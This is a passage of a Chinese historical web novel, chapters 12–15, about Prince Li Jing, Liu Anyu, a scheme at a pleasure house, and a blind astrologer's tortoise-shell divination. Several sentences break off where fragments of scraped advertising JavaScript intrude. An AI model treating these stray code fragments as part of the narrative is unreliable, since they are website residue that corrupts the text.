李璟不好意思说,紧紧捧着茶杯,手指扣在一起。 他面对柳安予时,时常带着局促。 或许柳安予都忘记了。 永昌十二年,他手腕上那串迦南香带珠宝喜字纹手串,在凌虚阁断过。 当时的他因课业不精,逃学被抓,正跪在凌虚阁受罚。 手串是他额娘的遗物。 皇帝还是太子时,他额娘还是福晋,皇帝成了皇帝时,便有了李璟。 璟字从玉,为华彩,取字时皇帝想用“承业”二字,额娘却觉得这二字太重,“璟”字耀眼夺目,便取了“修常”二字,想让他踏实一些。 那时两人还很恩爱,皇帝依着额娘,便也由着给他取了这二字。 直到他五岁,额娘死于难产,他的妹妹胎死腹中。 一盆盆血水往外端,随着一声短促而绝望的哀嚎,他听见嬷嬷出来叫他。 “大殿下,进来见皇后娘娘最后一面罢。” 周围人惶恐惊愕,齐刷刷跪了一地。 李璟那时还不懂生死,他只是看见软榻上大片大片的腥红,惊慌失措洒出的水弄得地面滑滑的,李璟小心地走过去。 “额娘。”他轻轻地叫。 他的额娘轻柔地将他拉过来,已经累得大汗淋漓,说话气若游丝,一遍遍叫着修常。 她将腕上的手串取下,颤颤巍巍地塞进李璟手中。 握紧,只这一个动作有力。 他听见额娘嘴里念着什么,便低头凑过去仔细地辨认,耳朵贴近,微弱的呼吸声洒在他的耳廓。 他只听见两个字—— 恒郎。 空气好似微微一滞,额娘的手无力垂下,再没了气息。 可她的恒郎自始至终都没来看过她。 再后来,他渐渐懂了生死,可他的父皇不再只是他的父皇,曾经的皇后,也不再是他的额娘。 这黛瓦红墙之中,只有他,像无根的野草。 他不受管教。 皇帝可能自知愧对于他,便对他睁一只眼闭一只眼,少有责罚。 那一次,是真的将皇帝惹恼了。皇帝亲手夺了先生手中的戒鞭,指着他鼻子要抽他,他抬手下意识一挡,手串便断裂噼里啪啦掉了一地。 一时间,两人都愣在原地。 皇帝看清了手串的样子,忽然就顿了下来。 无边的愤怒在怔愣之后突然从心底升腾,李璟发了疯似地骂,在场人无一不惶恐跪地,吓得身躯颤抖。 李璟一边骂一边哭,泪水也似手串噼里啪啦地往下掉,他迅速捡着地上的串珠,一个个拢在掌心。 视线渐渐模糊不清,他将掉在身边的珠子都捡干净,放在手中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仔细地查着数目,查了两遍,他心脏骤然一沉。 少了一颗。 一大滴滚烫的眼泪落下砸在他的掌心,他再也忍不住似地嘶吼大叫,甚至动了上前跟皇帝拼命的念头,侍卫连忙将他死死按住。 屈辱和愤恨在他脸上交织,他仇人一般毫不避讳地瞪着皇帝。 气氛瞬间变得剑拔弩张起来。 “哎呦呦,这可真热闹。”长公主笑意盈盈地走进来打圆场,未见其人,先闻其声。 李璟顺着声音看过去。 十一岁的柳安予,第一次进宫面圣,一身宫缎素雪绢裙乖巧地站在长公主身侧,粉雕玉琢。明明年岁也不大,却沉稳得很,上来先是冲皇帝和李璟行了礼,又说了些吉祥却不恭维的话,从小孩口中说出,倒显得真诚许多。 皇帝的神色明显缓和的下来。 李璟不服,他甚至将愤恨的眸子瞪向柳安予,觉得她年纪小小却这么虚伪。 可转眸间,只见那清丽端庄的小人渐渐凑近,如夜莺一般婉转清脆的声音响起,是她在问。 “大殿下,你是在找串珠吗?” 她的手递过来。 皇帝给了个眼色,侍卫连忙放开李璟。 李璟此时也顾不得什么,连滚带爬凑过去,眼睛直勾勾地盯着她的掌心。 喜悦在一瞬间被冷水浇灭,这是他的串珠,却是已经碎成两半的款样。 “对不起啊,大殿下。方才我瞧见了,却没来得及护住,它滚到门口正巧到我脚底,不小心被我踩坏了。”柳安予略带歉意地蹙眉抿唇,李璟却发现了她一瘸一拐的走姿,想来是误踩了珠子崴了脚。 李璟不好再说些什么,愤恨的情绪像是一脚踢在了棉花上,气上不去,也消不掉,只得自己默默郁闷起来。 他几乎又要哭了。 这时,柳安予低头不知道在捣鼓什么,变戏法似地将一个东西放在李璟手中。 一堆迦南香带珠宝喜字纹的珠子中,一颗圆润的紫红色珠子摆在最中间,明艳艳的特别亮眼。 “这是从长公主殿下送我的紫金砂带玉手串上摘下来的,这一颗,我最喜欢。”柳安予的声音轻轻柔柔,“我弄坏了你的珠子,赔你一颗好不好?” 12. 12 狸奴玉 “连安乐妹妹都要哄着你。”皇帝不怒自威,指着他的鼻子,“你在皇子中最为年长,一串手串而已,到底要闹到什么时候!” 李璟听着这话,心脏堵着一般的难受,眼眶通红,“那是我额娘的遗物!”言语未尽,柳安予便拉住他的衣袖。 “听说御花园的牡丹开了,陛下上次跟殿下说,要送安乐一朵。择日不如撞日,让璟哥哥陪安乐去选一朵好不好啊?”柳安予浅浅微笑站在李璟身前,言语间是孩童的天真。 皇帝语气不禁也缓和下来,点头应允。 柳安予行了礼告退,死死拉住李璟的衣袖,将人往外拽,“走啦,走啦璟哥哥。”李璟恨恨瞪了皇帝一眼,咬牙顺着柳安予走出去。 婢女侍卫们远远跟着,生怕触了李璟霉头,偏柳安予乐此不疲地拉着李璟,走在牡丹花丛边,似在仔细挑选。 “你不喜欢牡丹。”李璟语气笃定,幽怨地看着柳安予的侧脸。 “嗯哼。”柳安予心不在焉地摆弄着一朵粉牡丹的花瓣,“带你出来的借口罢了。” “为什么?”李璟不解,诧异地拉住她。 柳安予被拉得一顿,看着李璟的眸子,蹙起眉头。 “为什么?”柳安予轻笑着重复了一遍,看向他,“你还想怎样?怎么,要跟他拼命吗?” 且不说力量上的悬殊,天子在上,李璟还未近身,便会被身旁的侍卫挟制,再吵再闹,不过也是如丑角一般可笑。 “你为你额娘心痛,如何断言他不为你额娘心痛?”柳安予垂眸看向娇嫩的牡丹花,语速缓缓。 “他冷心冷情,哪里会为人心痛!”李璟下意识反驳。 “帝王家,无情家,他可以怒、可以威,但绝不能惧、不能有泪。你是孩童,自然可以为爱者泣,为不公鸣不平,可没人会把你的话当回事儿。”眼前的女孩一字一句,明明年纪比他小那么多,身形清癯,一阵风就能刮走似的。 可偏偏,成熟理智得不成样子。 柳安予思考了一下,还是告诉了他。 “你的手串,是你额娘和皇上的定情信物,是他还是太子时,跪求的姻缘串子。” 春风穿廊过,打在李璟脸上,像狠狠扇了他一巴掌。心底的恨意逐渐变得迷茫,李璟看看掌心,沉默不语。 他不懂,他真的不懂。 “动心容易痴心难,留情容易守情难。”柳安予轻蔑地勾了勾唇角,声音飘渺,“何必呢。” 何必纠结于此?何必郁结于心? “他是帝王,他是你的父皇,你身上流着和他一样的血,五官含着同他一样的神韵。他不忍苛责你,透过你也在怜惜旧人。他甚至不能露出悲恸,因为帝王不被准许。”她敛神,“喜怒形于色,是会害了旁人的。” 李璟静静听着,他惊讶于柳安予的通透,又不肯放下面子,只能握着珠子发呆。 她长叹了一口气,“唉,我今日本不该这么话多,只是,看你可怜。”她眸光流转,十几岁的孩童心善,总想着帮一帮旁人,柳安予也不例外。 她将话掰开了揉碎了摊在李璟面前,用仅仅两个人才能听到的声音,轻声细语地说道:“你是皇子,退一万步讲,就我方才的那些话,你挥挥手便能将我凌迟千万次,是什么身份,便应以什么身份所处......” 心脏骤然一疼,李璟摇头连忙反驳,“不!我不会那样待你!”他的声音又骤然小下去,细弱蚊蝇一般扭捏,脸颊火辣辣的红,“你虽是数落我,但我也知你是为我好。” 柳安予一顿,笑了笑,“我知道你不会。” 她解开自己的小辫上的红绳,耐心地将李璟手中散落的珠子穿好,结尾处打了一个精致又牢固的结,紫金砂的珠子穿在最中央,比先前的式样好看许多。 她将新的手串戴在李璟的手腕上,耐心地说道:“这次,要保护好它。” 李璟低头认真地看,目光却忍不住往柳安予脸上瞟,她鬓边毛茸茸的碎发被风吹得乱扫,牡丹花的香气萦绕在鼻尖,他听见他的心脏怦怦直跳。 “好了,别纠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 结了!”柳安予弯唇笑了笑,眸子月牙一样好看,春日暖阳透过树的间隙洒下金黄色的光影,他的目光他的心,都被这个灿烂的笑填满。 所到之处,山花烂漫。 轻柔的指尖触碰他的脸,“下次再见,不要让自己沦落得这么狼狈。” 不等李璟答话,柳安予骤然转身,发丝飞舞拂过他的脸颊,只听她声调一提,“就这朵罢,这朵好看。”柳安予伸手将碎发拢到耳后,指着最角落一朵姚黄牡丹朗声说。 宫女取花之际,她偏过头看他一眼,琥珀般的眸子被阳光照射得近透,无悲无喜,深邃而淡漠。 李璟痴痴眨了眨眼,心跳乱了节奏,手不自觉抚上胸口。 知春亭的纱幔起舞,温热的茶冒着几缕水雾,李璟的意识回笼,不真切地看向眼前蹙眉的人。 “怎么总感觉,你怕我?” “不是怕。”他抿唇捏紧茶杯,低垂的眸子如春池开化,“是我自卑,恐逾矩,惹你生气。” “自卑?”柳安予蹙着眉,实在没听懂他的意思。 “狸奴呢?怎么没见着。”李璟怕自己会唐突失态,连忙撇瞥开眼神转了话头。 柳安予无心追问,摇摇头道:“青荷抱着玩儿呢。”她说得口干,端起茶杯啜饮润喉,又道,“昨个带亭子里闹,踩了好几株花,给青荷心疼坏了,今个说什么也不肯放它出来。” “可起名儿了?”李璟暗暗期待着。 “起了。”柳安予手一顿,下意识含糊其辞,“叫玉玉。” “予予?”李璟以为是这两字,他没听到关于自己的词,本有些失落。 “倒也好听。” “你看的是什么?《贞宁通史》?女官也要考这个吗?”李璟一连串的问题炮仗一样砸过来。 柳安予早已见怪不怪,像十一岁那年一般耐心解释。 “考倒是不考。”柳安予似在思考,“只是在想一件事。”她执起笔悬臂顿了顿,在纸上写了个名字。 “还记得他吗?” 13. 13 秫香馆 “国师,韩守谦。” 那个给柳安予题了十六字的人。 “怎么想起他了?”李璟蹙眉。 他不喜欢韩守谦,很大程度上是因为韩守谦给柳安予题的那后半句。 【命途多舛,煞气缠身。】 这八个字太重,重到仅仅思及,李璟便已为柳安予心痛。 柳安予倒无所谓,她声音淡淡,“永昌十六年以前,钦天监以他马首是瞻,说句大逆不道的,他一句,同圣言。只是这两年皇帝......”柳安予一顿,“他对皇权愈发看重,便对这些干预极强的势力愈发警惕。” 皇帝勤政十八年,从前年幼,依靠左相、方信掌握翰林院,亲学子,大兴科举。随着一批批的学子入朝为官,逐步制衡外戚。 他将韩守谦捧在高位,不是因为他多信任韩守谦,而是因为他需要一个有话语权的人,代替幼时的他服众。 可如今,他已不再需要借别人的口。 韩守谦便同左相一派一样,成了他的弃子。 “永昌十六年时,韩永谦以窥天机伤根本为由半隐,然国师之位,不得改迁他官,非特旨不得升调、致仕。他便留下三次,可窥天机的机会,此外,再不插手钦天监事宜。”柳安予低头翻开书,找到干叶夹着的地方,指给李璟看。 “这里写,贞宁六年,钦天监监正韩永谦承父业,迁国师,年十七。” “这一年,他窥得人生中的第一丝天机:紫微垣之主,帝王之星,其光耀世,国运昌隆。同年旱地降甘霖;先帝在位三十年,国无战乱。韩永谦便在百姓心中有着无可撼动的地位,即便如今——他半隐。” 柳安予虚虚咬了咬笔杆,抬起眼,“在皇帝还未明面与韩永谦撕破脸之前,他这三次窥天机,是多少暗狼死盯的肥肉。” 李璟隐隐感觉到柳安予要干什么。 他还未开口,只听柳安予先他一步。 “我要为先生,求一个生机。” 李璟反应激烈,“左相一派,如今朝中人唯恐避之不及,你偏要去触这霉头!” “修常!你知道我。”柳安予捏紧书页,眸如深渊静潭晦暗,寸步不让。 李璟一下子哑住了,他下颌紧绷,眸中情绪挣扎,对上柳安予时雪淞化春风,卸力一般一下子塌下背去,撇开眸子。 他艰涩地开口,“你说,要我做什么。” 柳安予眸中染上一抹喜色,她抿唇缓言,“我知道,钦天监监生韩昭,是你的人。” 李璟沉眸,眸中闪过一丝复杂。 * 亥时一刻,秫香馆。 韶粉纱幔层叠,淡淡的竹叶熏香萦绕在鼻尖,馆内宾客满座,皆覆面盖得严严实实。 两排乐妓抱琵琶,音调轻快婉转,宛如鸟啼。馆中央垒了一方莲花台,莲心置一圆鼓,金银掐丝雕敦煌纹样,鼓面柔韧,点足清脆。 随着一声钟响,嘈杂的宾客顿时安静下来,花瓣纷纷扬扬从二楼扶手处洒下,舞姬鱼贯而入,簇拥着一位美人款款站上莲花鼓。 一身粉霞锦绶藕丝缎裙,柳腰盈盈一握,一阵风起,墨发随风飞舞伴着吹动着赤红丝带,宛若仙女。 鼓声起,她足尖微点,红唇微勾,媚眼如丝,勾得台下宾客目不寸移。 飞舞若惊鸿,翩跹若游龙。 这便是大名鼎鼎的芙蓉姑娘。 芙蓉姑娘一曲莲鼓舞,一月只跳两次,偏这秫香馆不卖舞票不卖茶,只卖那销魂神仙醉,谁买得最多,谁便有资格同芙蓉姑娘,春宵一刻......吊足了宾客胃口。 一曲作罢,芙蓉抬手微微侧头,露出柔软白皙的脖颈,眼波流转,欠身行礼。 她不说话,身旁的老板娘已经笑的合不拢嘴,捏着帕子站在莲花台边朗声道:“哎呦,感谢诸位大爷捧场,就评说评说,今个我家芙蓉这一舞,如何啊?” 宾客席立即爆出叫好声,掌声如雷贯耳,老板娘笑着抬高声调,“就光嘴上说啊!” 话音未落,只见大把大把的银票扔上莲花台,芙蓉脚边的金银珠玉更是琳琅满目。 芙蓉唇角弧度渐深,娇弱又行一礼,“芙蓉,谢大爷。” 她语调小猫似的,直喊得人心痒痒,底下顿时骚动起来。好在莲花台有一定高度,再加上来的都是京城有头有脸些的人物,再喜欢,也不会失了分寸丢了面子。 芙蓉便笑盈盈地站在那听着。 熏香的味道渐渐加重,宾客们开始口干舌燥起来,老板娘挥挥手,一众面容娇俏的侍婢端来一坛坛酒,为宾客们斟好。坛子一开,酒香浓郁直扑鼻,比那竹叶香还沁人心脾。 “这便是我们秫香馆新推出的神仙卧,一口下去,醉生梦死,陷卧温柔乡。这第一坛,便是芙蓉请各位爷喝的,谢诸位爷捧场!”老板娘挥挥手道。 “沈大人,好东西啊好东西。”乌甫阁沉醉地吸着酒香,只觉浑身酥麻舒坦,一口下去,唇齿留香,久久不散。 沈忠本在犹豫,试探性地轻啜一口,不成想眸子登时睁大。 两人觥筹交错,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿便把酒喝了个干净,瘫软在座位里。 宾客开始要第二坛。 老板娘顿时比了个噤声的手势,“这第一坛,是芙蓉请诸位,第二坛,自然不能这么算。”老板娘眼中闪过一丝精明。 旁边侍女立即挂上牌子。 离得最近的客人指着牌子一字一句地念:“神仙醉,五十两银子一两;神仙卧,一百两银子一斗......这,这不如直接去抢!” 底下顿时议论开了。 “欸,此言差矣,这神仙醉诸位都点过,有什么愁啊什么痛啊,只要一点上神仙醉,那是愁云也散了,痛苦也忘却了。”老板娘笑眯眯地说着,“您满京城去打听,我们秫香馆的神仙醉,那可是京城独一份啊,五十两怎么了?您出不起,自是有能出起的出。” “这神仙卧,诸位方才也尝了,若是有懂酒的,自然能尝出我们的酒有何妙处。再者,芙蓉一月才跳这么两次,这东西,一月也才卖这么两次。物以稀为贵,赶明您要是再想尝尝,保不准就不是一百两一斗了。” 芙蓉此时也适时接上话,她眉眼一垂,花瓣般娇嫩的小嘴微张,“大爷,芙蓉这些日子,怎么没在楼上见过您?” 底下宾客一听便反应过来了,指着那人道:“银子不够,就别在这指手画脚!一回楼上都没去过,怕是砸锅卖铁买的二两神仙醉,才进来蹭上这一舞罢!” “你,你!”那人气得脸通红。 顿时唇枪舌战起来,闹哄哄哪还有世家人的样子。 李璟坐在三楼雅间,拿玉挑子挑开帘子沉眸看着。 棋子落盘的声音清脆,身后一紫袍公子坐得端正,清朗的声音响起。 “大殿下,该您落子了。” 外头香得刺鼻,李璟眉头一皱,放下挑子。外面小侍识趣地推上雕窗,声音隔绝,雅间顿时安静得落针可闻。 茶香袅袅。 李璟捻起一颗黑子,牵起嘴角,有意无意地摩挲着,“世尧,你棋艺又精湛了。”他不紧不慢地落下一子,直直破了对面的杀局。 韩昭挑眉,敛颚忽地笑了,“大殿下打趣微臣,您若想杀,微臣何来还手之力?”他手上捻着白棋,暗暗思索着如何破局。 李璟也不催他,气定神闲地饮了一口茶,状似无意地提起,“你的棋,是国师教的罢。”手指轻叩棋盘。 韩昭唇边的笑容凝固,抬眸看向李璟。 “......是。”他顿时正襟危坐,垂手作揖。 “大殿下,您有何吩咐?” 14. 14 秫香馆 “没什么。”他抬手指了指棋盘,笑了笑提醒韩昭道:“你该落子了。” 韩昭心里犯嘀咕,察言观色谨慎落下一子,却见李璟一手端茶,一手气定神闲地落子。黑子势如破竹,步步紧逼,将韩昭方才的布局破了个干净,丝毫不留情面。 韩昭额头紧张地淌下冷汗,他拿帕子搌了搌,不敢放松。 两人对弈,不过一盏茶的功夫,你来我往之间,李璟将白子杀得片甲不留。 “微臣愚钝。”韩昭缓缓松了一口气,俯身道。 李璟若有所思,他放下茶杯,意有所指道:“我记得,令堂的棋艺不错。” “家父身子不爽利,年岁渐长,不大下棋了。”韩昭拒绝的话刚说出口,李璟便抬了手,眉眼凌厉,“国师身子不爽利,本皇子不多叨扰。本皇子要见的,是‘令堂’。”李璟把最后两个字咬得很重。 韩昭顿时噤声。 国师以“窥天机,伤根本”的缘由半隐退,韩昭本可借此拒绝,可李璟言外之意,怕是要私下约见。 韩昭将头压得更低,却没有再婉拒,“殿下想什么时候?” “明日你休沐,我去见你,会带一个人。”李璟将棋子拢到棋奁里,不是询问,是通知。 韩昭顿了顿,应了声“好”,他心里闪过好几个名字,却识相地没有问出口。 两人谈完,覆面出门,李璟出手阔绰,递给小侍一片金叶子,“有没有路,能避开底下那些人出去。” 小侍接过立马喜笑颜开,弯腰引了一条路,“打这边走,有个小楼梯,能绕到莲花台后面从后门出去,出去连着一条小巷,沿着走就到南街了。” 小侍交代完还想跟上,李璟却抬手制止,转头递给韩昭一个眼神,韩昭便颔首在前面引路。 小侍明白了他的意思,懂事地停在原地,笑着说了声“慢走”。 楼下嘈杂声渐近,二人从小楼梯下去,正巧见莲花台那边完事儿,一个肥头大耳、满脸横肉的富哥儿搂着芙蓉,眼神色眯眯的。 芙蓉倒是敬业,柔情似水的眼神勾得那人七荤八素,抬眼隔着楼梯与李璟对视,芙蓉见他是从三楼下来,礼貌地莞尔一笑。 李璟迅速收回眸子。 这边沈忠和乌甫阁醉得不成样子,将荷包里最后一点银票都给了出去,颤颤巍巍地点上一口神仙醉,吞云吐雾,飘飘欲仙。 李璟的眼神扫过,却落在了一抹熟悉的身影上。 “殿下?”韩昭小声叫道。 “从那边走!”李璟压低声音,戴正面具调转方向。 韩昭一头雾水,抬腿连忙跟上。 两人尽力降低自己的存在感,穿过拥挤的人流,李璟抓住那人手臂。 一拳凌厉地挥过来,李璟瞳孔骤缩,迅速侧头堪堪躲过。右手成拳,发狠地向人脸上攻去。 那人身轻如燕,行动灵活,仰头向后压腰,左手撑地抬脚便踢,两人打得难舍难分。 漆黑的夜色将两人的身形模糊,料峭春寒,枝叶被风吹得扑簌簌响。 凌厉的掌风从耳畔呼啸而过,李璟的面具被打掉,露出真容。那人明显怔愣了一瞬,猛地后撤一步往巷子里跑。 李璟的眸子沉成墨块,追身而上,大喝一声,“别走!” 韩昭不会武,急得在一旁团团转,捡起李璟掉落的面具就想跟上,却听李璟抽空吩咐,“别过来添乱,守好!” 韩昭脚步一顿,认真地应了一声。 巷子狭窄,杂物随意堆砌在地上,那人暗骂了一声,踉踉跄跄地躲着杂物,在漆黑的小巷里左右移动,速度明显被拖慢。 李璟紧随其后,助跑几步跳上一个木箱,一个借力蹬过去,在巷子中的速度不减,没几步便追上了那人。 他冷眸拔出佩剑,冷冽的白刃在微弱的月光下寒气逼人,他一剑直直插过去,将那人身前的箱子劈个粉碎,彻底将人阻在巷子里。 身后就是巷口,李璟向前逼近一步,那人警惕地后退,手已经放在袖口短匕的柄上,两人静默一瞬。 梆子声一慢一快,连打三次,打更人的声音从李璟身后传来,“戌时一更,天干物燥,小心火烛——” 提灯的昏黄灯光照在小巷巷口,那人漆如点墨的眸子,仿佛簇着火苗,两人氛围剑拔弩张。 梆,梆,“天干物燥,小心火烛——” 打更人的声音渐远,呼吸一瞬,白光一闪,那人的匕首倏然横在李璟的颈侧。 李璟没有动,他缓缓吐出一口气,眸底情绪复杂,“......成玉,是不是你?” 那人神色错愕,只静了片刻,他放下匕首。 伸手拽下面具,露出一张李璟再熟悉不过的脸。 顾淮轻轻一叹,“殿下,您怎么知道是我?” “好歹你我也同在左相家塾中习过半月,同窗之谊,我怎会轻易忘记?”李璟沉眸,“熟知的人,光是看身形便能辨出是谁。” “殿下好记性。”顾淮礼貌笑了笑,从容地收起匕首,站在那处,又是清癯孱弱的文人样子。 “我竟不知你会武?”李璟的眸中带着探究,他似乎要重新认识一下这位同窗,“我不信你是来秫香馆寻欢,你为何来此?” “那殿下,又是因何而来?”顾淮不答反问,合袖看向他,笑意不达眼底。 “我......”李璟蹙眉。 意料之中,李璟不会回答。 顾淮又笑了笑,两个人站在这里,问这些话根本没有任何意义。 李璟不像表面上那么无欲无求,顾淮也不像人口中那么人畜无害。 “我不多问殿下,殿下也别为难微臣,亥时之前,微臣还得回去复命。”顾淮微微颔首,重新戴上面具想要走。 “复命?是二皇弟吗?”李璟敏锐地捕捉到这句,拍上顾淮的肩膀将人阻在原地,“成玉,你真的要参与党争?如今顾家危在旦夕,你的家事我不多言,只是奉劝你一句,就算是助七皇弟......”李璟的眉头蹙得很紧。 “大殿下。”顾淮只露出一双寒冰一样的眸,深吸一口气打断了李璟的话,“若是可以,微臣亦不会助纣为虐,认贼作父。” 他知道?这回李璟是真的感到意外。 “你这样,左相知道吗?”李璟眸光微敛,他知道,左相一直对顾淮寄予厚望,若无这些腌臜事,如今的顾淮早已在翰林院崭露头角。 顾淮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一顿,冷风吹起他的发丝,他的眸光融进月色,看不真切。 “他知不知道,都没什么差别。”顾淮声音沉沉,他想起了某位矜贵的郡主,“他还有更好的学生,也不算,辱没了他的门楣。” 李璟忽地也想起在家塾的那段时日,轩窗之外,还有一张书案—— 紫檀雕花云纹,上面刻着一个娟秀的“柳”字。 那是柳安予的书案。 顾淮知道李璟也是好心,他犹豫一瞬,拂下肩上的阻拦,用仅仅两个人才能听到的声音道:“乌甫阁你盯着点,刑部那边,二皇子要动手了。” 李璟眸中闪过一丝震惊,却见顾淮不再停留,加快步子走出巷口。 李璟站在原地沉思,只听巷子的另一端,是韩昭小心翼翼的呼喊。 “殿下?殿下?” 李璟收回思绪,大步流星走向与顾淮相反的方向。 他从韩昭手中接过面具,将脸遮盖严实,眸光黯淡不知在想些什么。 “殿下,人呢?”韩昭探究的目光递过来,眼神往他身后瞟。 李璟不多解释,目光落在他身上一顿,看得韩昭云里雾里。 他不动声色地勾唇,想到了顾淮那句话,转身心情大好,“世尧,走了。” * 韩昭动作很快,在家中后山的亭中安排了小宴,叫人备好了美酒珍馐,旁边还放了棋盘。 他屏退下人,亲自去迎李璟。 “殿下多担待,这小门隐蔽,旁人不易见。”韩昭怕李璟嫌弃,躬身引路解释道。 “无碍。你心细,该是如此打算。”李璟敛眸,看似无意却时时注意着身后跟着的小侍卫。 那位是个生面孔,照李璟矮了一截,身量清瘦,走路低头轻易瞧不清。 想必这便是李璟说的那人,韩昭眼观鼻鼻观心,不敢怠慢,恭敬地为两位引着路。 七拐八拐到了亭子,这处倒是真隐蔽。 李璟到时,一白发苍苍的老人身着暗纹紫袍,脊背笔直,正坐在棋盘前捻着一颗白棋。 “好久不见,安乐郡主。”那人顿停片刻,耳朵动了动。他放下棋子,转过脸来却见他面容青涩,双目空洞只剩白仁,看得柳安予一惊。 “经年一别,已有十七载,只可惜,老朽现在看不到郡主长大后的样貌。”韩守谦苦涩一笑,嗓音沙哑。 柳安予闻此言,却如坠冰窟,不可置信地后撤一步。 李璟关切地蹙眉看她,握住她纤细的手腕给她依靠,让她不至于失力后仰。 双目失明之人,该如何观星象窥天机?柳安予不知道。 她面色惨白,死死搭住李璟的手,看向韩守谦。 “国师永昌十六年时,‘窥天机,伤根本’的那一句,竟不是托词?” 韩守谦笑了笑,伸手一指,“郡主陪老朽下盘棋罢,下完了,就什么都清楚了。”他的目光分明落不到棋盘上,熟练地从棋奁里捻起一颗棋子,等着柳安予的下文。 李璟本想说什么,却见柳安予松开他的手,踉踉跄跄地走过去,俯身落座,缓缓吐出一口浊气。 棋子落盘声音清脆,只听柳安予声音如常,“国师,请罢。” 15. 15 秫香馆 韩昭大气都不敢喘,他听过这位安乐郡主的名号,无外乎是身份尊贵、学识过人的词,此回也是第一次见到本人。 他斜着眼睛好奇看上几眼,抬头与李璟对视,被狠狠警告了一番,便立即收了目光不敢再四处乱瞟。 李璟观棋不语,收回目光,蹙着眉头,关切地盯着柳安予看,韩昭在一旁沏好茶一一奉上,旁的也不敢再说。 韩守谦耳朵动了动,准确无误地落下一子,语调轻快,“老朽只算三次。” “提前说好,不论郡主问些什么,最后的结果,老朽都会公之于众。”韩守谦道。 她长睫低垂,捻住一颗冰凉圆润的棋子,利落地落到棋盘上,“好。”柳安予看着他涣散的眼神欲言又止,“只是,国师如今......该如何观星象?” 这话冒犯,却问出了所有人都想问的问题,三道目光打在他身上,韩守谦不由得一笑,指了指自己的心口,“卜卦,问的是心。” 柳安予蓦然勾唇,主动承认,“是我错了。”她等着韩守谦落完棋,才缓缓开口。 “我想,问问国运。” 出乎所有人的预料,就连韩守谦都愣了一下,不由得重复一句,“国运?” “是。”柳安予轻描淡写一应,认真看着棋盘上散落如星的棋子,思考片刻才落子。 韩守谦这回没有捻棋,他伸手拍向棋盘左侧,震得紫竹棋盘上的棋子凌乱移位,一个方匣子从侧边弹出。 韩守谦摸索着伸手,从匣子拿出一块黄白明润的龟板,比手掌还大。 他拿袖子一扫,将棋盘上的棋子扫到一旁,韩昭立即明白了他的意思。 韩昭起身连忙将亭子四周挂上遮帘,端来一盆新水供韩守谦净手。 韩昭跪坐一旁,恭敬为韩守谦布好用具。 以碗盛水,置钱其中,界尺架于其上,备齐五行。韩昭将龟板小心翼翼地放在最上面,刻字的地方朝下,近肉的地方朝上。 他拿出匣中最后一样东西——三块黑团,点了火折子递过来。 “这是?”李璟看着好奇,在一旁问道。 “回殿下,这叫三一丸。”韩昭耐心同他解释,“用碳粉一两,铅粉三钱拌匀了,枣泥和进去团成块,粗细如筋,长三四分。龟卜之法,便是先用此物灼甲。” 亭子遮得严实,只有火折子明亮的光在暗色中跳跃,李璟听得似懂非懂,挪了挪位子与柳安予坐在一处。 柳安予目光一刻不错地盯着龟板。 几乎是本能,韩守谦点上三一丸缓缓灼龟,手法娴熟仿佛演练了千万遍,龟板炸然出声,灼了一圈,他蘸起碗中水洒在龟板刻字处,骤然噼里啪啦出现裂纹。 韩昭递上了笔。 韩守谦在纸上勾勾写写,对照龟板写出卦形。 不知是不是错觉,眨眼间,柳安予眼前的这个人仿若老了几岁。 最后一笔,缓缓收尾。 “国师,如何?”柳安予连忙问道。 “郡主,地下山上,不利有攸往,是为剥卦。”韩守谦面色凝重,“须谨慎防危,恐有侵蚀。” “还能再细吗?”柳安予的眼中透着刺骨的危险气息。 韩守谦欲言又止,顿了良久又言,“五月尾,第一劫起。” 李璟眸光微敛,忽然想到什么,一拍大腿,“那不正是女官考核之际?” 柳安予的关注点却不在这儿,她好奇细问,“......是天灾,还是人祸?” “安乐你意思是......?”李璟怔愣一瞬,话音未落,便听韩守谦一句。 “人祸。” 听得人倒吸一口凉气。 这回柳安予是真真看出韩守谦衰老了,不过不是从那张青涩的脸上看出的,而是那一双手。 方才下棋时还修长紧致的手指,此刻爬满了皱纹、斑点—— 柳安予好像知道韩守谦的眼睛是怎么回事了。 李璟还想再说什么,袖子却一下被柳安予拉住,只听她声音冷淡,宛若叹息,“修常,我们走罢。” “啊?”李璟一愣。 “吃了饭再......”韩昭连忙招呼。 “不必了。”柳安予按着腿起身,居高临下地看着韩守谦,她目光幽深,“是人祸,那就好办了。” “国师,您想公之于众,我不拦着。只是有一件事,就透露到剥卦此处便可,旁的,国师不必多言。”柳安予眼底暗藏冰冷。 “自会如此。”韩守谦颔首,眸子失焦落在别处,他不动声色收起一瞬苍老的手,连韩昭都没看到。 柳安予不再多留,拉着李璟袖子离开,晚风穿过掀起遮帘,她冷得一颤,蓦然想起什么回头。 “对了,国师,你耍赖。”柳安予唇角弧度渐深,她撩起遮帘,眼尾上挑,“方才那局棋我都将赢了,下次,我要同您下完。” 韩守谦一愣,蓦然笑了,朝声音的方向作揖,“那微臣,恭候郡主。” 半晌,没有声音。 “父亲,郡主已经走了。”韩昭小声道。 他看见他父亲苍老的手,不由得心尖一颤。 明明方才,还不是这样。 他微微张着嘴,呆愣了一会儿,听韩守谦叫了他好几声才回神。 “世尧,世尧?世尧你发什么呆呢?”韩守谦故作威严的声音响起,成功唤回了呆愣的韩昭,韩昭连忙躬身询问,“怎么了?” “找根绳子,缠在龟板裂纹处,用香火供奉三日。”韩守谦颤颤巍巍地自己站起身,一个踉跄被韩昭眼疾手快扶住。 “我还没老呢!腿,腿麻了,久坐是不太好哈。”韩守谦连忙推开他,磕磕巴巴地说道,“龟板,别忘了,拿绳子缠好。三日之内,若是龟板还有声响,你速速唤我。” “是,父亲。”韩昭连声应道。 他低头看向手中的龟板,心情惴惴不安,若是三日之内,龟板还有声响,那便是有未尽之言,必须再卜一次。 剥卦不是好卦,天下太平的日子过得太久,韩昭慌得很,他倒是希望龟板再憋出什么话来,好期待个转机。 只可惜......韩昭长叹一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 